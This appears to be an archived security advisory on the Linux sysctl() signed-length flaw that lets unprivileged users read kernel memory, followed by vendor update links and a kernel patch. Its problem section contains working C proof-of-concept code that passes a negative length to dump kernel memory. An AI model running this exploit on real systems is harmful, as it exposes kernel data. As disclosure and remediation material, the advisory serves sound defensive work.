COMMAND
sysctl()
SYSTEMS AFFECTED
Linux
PROBLEM
Chris Evans found following. There exists a Linux system call
sysctl() which is used to query and modify runtime system
settings. Unprivileged users are permitted to query the value of
many of these settings. The unprivileged user passes in a buffer
location and the length of this buffer. Unfortunately, by
specifying a negative buffer length, a user can read pretty
arbitrary kernel memory.
Looking at linux/kernel/sysctl.c: sysctl_string()
int l, len;
...
if (oldval && oldlenp) {
if(get_user(len, oldlenp))
return -EFAULT;
if (len) {
l = strlen(table->data);
if (len > l) len = l;
if (len >= table->maxlen)
len = table->maxlen;
if(copy_to_user(oldval, table->data, len))
return -EFAULT;
The contents of variable "len" are totally under the control of a
malicious user. Since len is declared as signed, a negative value
may be used. This bypasses the "len >= table->maxlen" check and
copies kernel data to userspace, starting at "table->data". The
sysctl.c file contains several signed/unsigned mixups like the
above.
To exploit this, there are a couple of minor issues.
1) copy_to_user() virtual address space wrap check. A check in
the kernel means we need to place the destination user space
buffer low in the virtual address space, using mmap(). The
default heap location on i386 is too high.
2) The usefulness of this exploit will vary depedending upon if
the address of the table->data pointer used is _before_ lots of
interesting kernel stuff. On ix86 Linux, this certainly seems
to be the case.
3) There have been a reports that the kernel may be caused to hang
using this bug (not investigated).
As we see, integer signedness issues seem to be everywhere.
Subtle flaws like these are a great concern because they are hard
to spot and audits will miss them. Quick hacky demo code of how
you might go about playing with this, is appended.
/* Excuse the lack of error checking */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/sysctl.h>
_syscall1(int, _sysctl, struct __sysctl_args *, args);
#define BUFLEN 1000000
int
main(int argc, const char* argv[])
{
struct __sysctl_args args_of_great_doom;
int names[2] = { CTL_KERN, KERN_NODENAME };
/* Minus 2 billion - somewhere close to biggest negative int */
int dodgy_len = -2000000000;
int fd;
char* p_buf;
fd = open("/dev/zero", O_RDWR);
p_buf = mmap((void*)8192, BUFLEN, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE, fd, 0);
memset(p_buf, '\0', BUFLEN);
fd = open("before", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);
args_of_great_doom.name = names;
args_of_great_doom.nlen = 2;
args_of_great_doom.oldval = p_buf;
args_of_great_doom.oldlenp = &dodgy_len;
args_of_great_doom.newval = 0;
args_of_great_doom.newlen = 0;
_sysctl(&args_of_great_doom);
fd = open("after", O_CREAT | O_TRUNC | O_WRONLY, 0777);
write(fd, p_buf, BUFLEN);
}
SOLUTION
The recent flurry of updated kernels from vendors include a fix
for the sysctl() problem. The fix is essentially to use unsigned
variables for the lengths.
For Red Hat:
ftp://updates.redhat.com/6.2/SRPMS/kernel-2.2.17-14.src.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-smp-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-enterprise-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-BOOT-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-source-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-doc-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-utils-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/kernel-headers-2.2.16-3.alpha.rpm
ftp://updates.redhat.com/6.2/i386/kernel-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-smp-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-BOOT-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-pcmcia-cs-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-ibcs-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-source-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-doc-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-utils-2.2.17-14.i386.rpm
ftp://updates.redhat.com/6.2/i386/kernel-headers-2.2.16-3.i386.rpm
ftp://updates.redhat.com/6.2/i586/kernel-2.2.17-14.i586.rpm
ftp://updates.redhat.com/6.2/i586/kernel-smp-2.2.17-14.i586.rpm
ftp://updates.redhat.com/6.2/i686/kernel-2.2.17-14.i686.rpm
ftp://updates.redhat.com/6.2/i686/kernel-smp-2.2.17-14.i686.rpm
ftp://updates.redhat.com/6.2/i686/kernel-enterprise-2.2.17-14.i686.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-smp-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-smp-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-enterprise-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-enterprise-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-BOOT-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-BOOT-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-source-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-doc-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-utils-2.2.17-14.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/kernel-headers-2.2.16-3.sparc.rpm
ftp://updates.redhat.com/6.2/sparc64/kernel-2.2.17-14.sparc64.rpm
ftp://updates.redhat.com/6.2/sparc64/kernel-smp-2.2.17-14.sparc64.rpm
ftp://updates.redhat.com/6.2/sparc64/kernel-enterprise-2.2.17-14.sparc64.rpm
ftp://updates.redhat.com/6.2/sparc64/kernel-BOOT-2.2.17-14.sparc64.rpm
ftp://updates.redhat.com/7.0/SRPMS/kernel-2.2.17-14.src.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-smp-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-enterprise-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-BOOT-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-source-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-doc-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/alpha/kernel-utils-2.2.17-14.alpha.rpm
ftp://updates.redhat.com/7.0/i386/kernel-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-smp-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-BOOT-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-pcmcia-cs-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-ibcs-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-source-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-doc-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i386/kernel-utils-2.2.17-14.i386.rpm
ftp://updates.redhat.com/7.0/i586/kernel-2.2.17-14.i586.rpm
ftp://updates.redhat.com/7.0/i586/kernel-smp-2.2.17-14.i586.rpm
ftp://updates.redhat.com/7.0/i686/kernel-2.2.17-14.i686.rpm
ftp://updates.redhat.com/7.0/i686/kernel-smp-2.2.17-14.i686.rpm
ftp://updates.redhat.com/7.0/i686/kernel-enterprise-2.2.17-14.i686.rpm
Caldera and Immunix issued advisories as well. Alan Cox said that
it would be fixed in 2.2.19pre9.
Here's the patch that Alan accepted and put into 2.2.18-pre9 to
fix this problem:
diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/include/linux/sysctl.h linux-2.2.18-greg/include/linux/sysctl.h
--- linux-2.2.18/include/linux/sysctl.h Sun Dec 10 16:49:44 2000
+++ linux-2.2.18-greg/include/linux/sysctl.h Fri Jan 26 10:28:40 2001
@@ -30,7 +30,7 @@
struct __sysctl_args {
int *name;
- int nlen;
+ unsigned nlen;
void *oldval;
size_t *oldlenp;
void *newval;
@@ -465,7 +465,7 @@
typedef struct ctl_table ctl_table;
-typedef int ctl_handler (ctl_table *table, int *name, int nlen,
+typedef int ctl_handler (ctl_table *table, int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen,
void **context);
@@ -484,12 +484,12 @@
extern int proc_dointvec_jiffies(ctl_table *, int, struct file *,
void *, size_t *);
-extern int do_sysctl (int *name, int nlen,
+extern int do_sysctl (int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen);
extern int do_sysctl_strategy (ctl_table *table,
- int *name, int nlen,
+ int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen, void ** context);
diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/kernel/sysctl.c linux-2.2.18-greg/kernel/sysctl.c
--- linux-2.2.18/kernel/sysctl.c Sun Dec 10 16:49:44 2000
+++ linux-2.2.18-greg/kernel/sysctl.c Fri Jan 26 10:31:38 2001
@@ -77,7 +77,7 @@
extern int pgt_cache_water[];
-static int parse_table(int *, int, void *, size_t *, void *, size_t,
+static int parse_table(int *, unsigned, void *, size_t *, void *, size_t,
ctl_table *, void **);
static int proc_doutsstring(ctl_table *table, int write, struct file *filp,
void *buffer, size_t *lenp);
@@ -320,7 +320,7 @@
}
-int do_sysctl (int *name, int nlen,
+int do_sysctl (int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen)
{
@@ -330,10 +330,12 @@
if (nlen == 0 || nlen >= CTL_MAXNAME)
return -ENOTDIR;
-
- if (oldval)
- {
- int old_len;
+
+ if ((ssize_t)newlen < 0)
+ return -EINVAL;
+
+ if (oldval) {
+ size_t old_len;
if (!oldlenp)
return -EFAULT;
if(get_user(old_len, oldlenp))
@@ -387,7 +389,7 @@
return test_perm(table->mode, op);
}
-static int parse_table(int *name, int nlen,
+static int parse_table(int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen,
ctl_table *table, void **context)
@@ -430,11 +432,12 @@
/* Perform the actual read/write of a sysctl table entry. */
int do_sysctl_strategy (ctl_table *table,
- int *name, int nlen,
+ int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen, void **context)
{
- int op = 0, rc, len;
+ int op = 0, rc;
+ size_t len;
if (oldval)
op |= 004;
@@ -458,6 +461,8 @@
if (oldval && oldlenp) {
get_user(len, oldlenp);
if (len) {
+ if (len < 0)
+ return -EINVAL;
if (len > table->maxlen)
len = table->maxlen;
if(copy_to_user(oldval, table->data, len))
@@ -642,7 +647,7 @@
int proc_dostring(ctl_table *table, int write, struct file *filp,
void *buffer, size_t *lenp)
{
- int len;
+ size_t len;
char *p, c;
if (!table->data || !table->maxlen || !*lenp ||
@@ -710,7 +715,8 @@
static int do_proc_dointvec(ctl_table *table, int write, struct file *filp,
void *buffer, size_t *lenp, int conv, int op)
{
- int *i, vleft, first=1, len, left, neg, val;
+ int *i, neg, val;
+ size_t len, left, vleft, first=1;
#define TMPBUFLEN 20
char buf[TMPBUFLEN], *p;
@@ -832,7 +838,8 @@
int proc_dointvec_minmax(ctl_table *table, int write, struct file *filp,
void *buffer, size_t *lenp)
{
- int *i, *min, *max, vleft, first=1, len, left, neg, val;
+ int *i, *min, *max, neg, val;
+ size_t len, left, vleft, first=1;
#define TMPBUFLEN 20
char buf[TMPBUFLEN], *p;
@@ -974,11 +981,12 @@
*/
/* The generic string strategy routine: */
-int sysctl_string(ctl_table *table, int *name, int nlen,
+int sysctl_string(ctl_table *table, int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen, void **context)
{
- int l, len;
+ unsigned l;
+ size_t len;
if (!table->data || !table->maxlen)
return -ENOTDIR;
@@ -1017,11 +1025,12 @@
* are between the minimum and maximum values given in the arrays
* table->extra1 and table->extra2, respectively.
*/
-int sysctl_intvec(ctl_table *table, int *name, int nlen,
+int sysctl_intvec(ctl_table *table, int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen, void **context)
{
- int i, length, *vec, *min, *max;
+ int *vec, *min, *max;
+ size_t i, length;
if (newval && newlen) {
if (newlen % sizeof(int) != 0)
@@ -1051,7 +1060,7 @@
}
/* Strategy function to convert jiffies to seconds */
-int sysctl_jiffies(ctl_table *table, int *name, int nlen,
+int sysctl_jiffies(ctl_table *table, int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen, void **context)
{
@@ -1159,21 +1168,21 @@
return -ENOSYS;
}
-int sysctl_string(ctl_table *table, int *name, int nlen,
+int sysctl_string(ctl_table *table, int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen, void **context)
{
return -ENOSYS;
}
-int sysctl_intvec(ctl_table *table, int *name, int nlen,
+int sysctl_intvec(ctl_table *table, int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen, void **context)
{
return -ENOSYS;
}
-int sysctl_jiffies(ctl_table *table, int *name, int nlen,
+int sysctl_jiffies(ctl_table *table, int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen, void **context)
{
diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/net/ipv4/route.c linux-2.2.18-greg/net/ipv4/route.c
--- linux-2.2.18/net/ipv4/route.c Sun Dec 10 16:49:44 2000
+++ linux-2.2.18-greg/net/ipv4/route.c Fri Jan 26 10:28:40 2001
@@ -1927,7 +1927,7 @@
return -EINVAL;
}
-static int ipv4_sysctl_rtcache_flush_strategy(ctl_table *table, int *name, int nlen,
+static int ipv4_sysctl_rtcache_flush_strategy(ctl_table *table, int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen,
void **context)
diff -Naur -X /home/greg/linux/dontdiff linux-2.2.18/net/ipv4/sysctl_net_ipv4.c linux-2.2.18-greg/net/ipv4/sysctl_net_ipv4.c
--- linux-2.2.18/net/ipv4/sysctl_net_ipv4.c Sun Dec 10 16:49:44 2000
+++ linux-2.2.18-greg/net/ipv4/sysctl_net_ipv4.c Fri Jan 26 10:28:40 2001
@@ -87,7 +87,7 @@
return ret;
}
-static int ipv4_sysctl_forward_strategy(ctl_table *table, int *name, int nlen,
+static int ipv4_sysctl_forward_strategy(ctl_table *table, int *name, unsigned nlen,
void *oldval, size_t *oldlenp,
void *newval, size_t newlen,
void **context)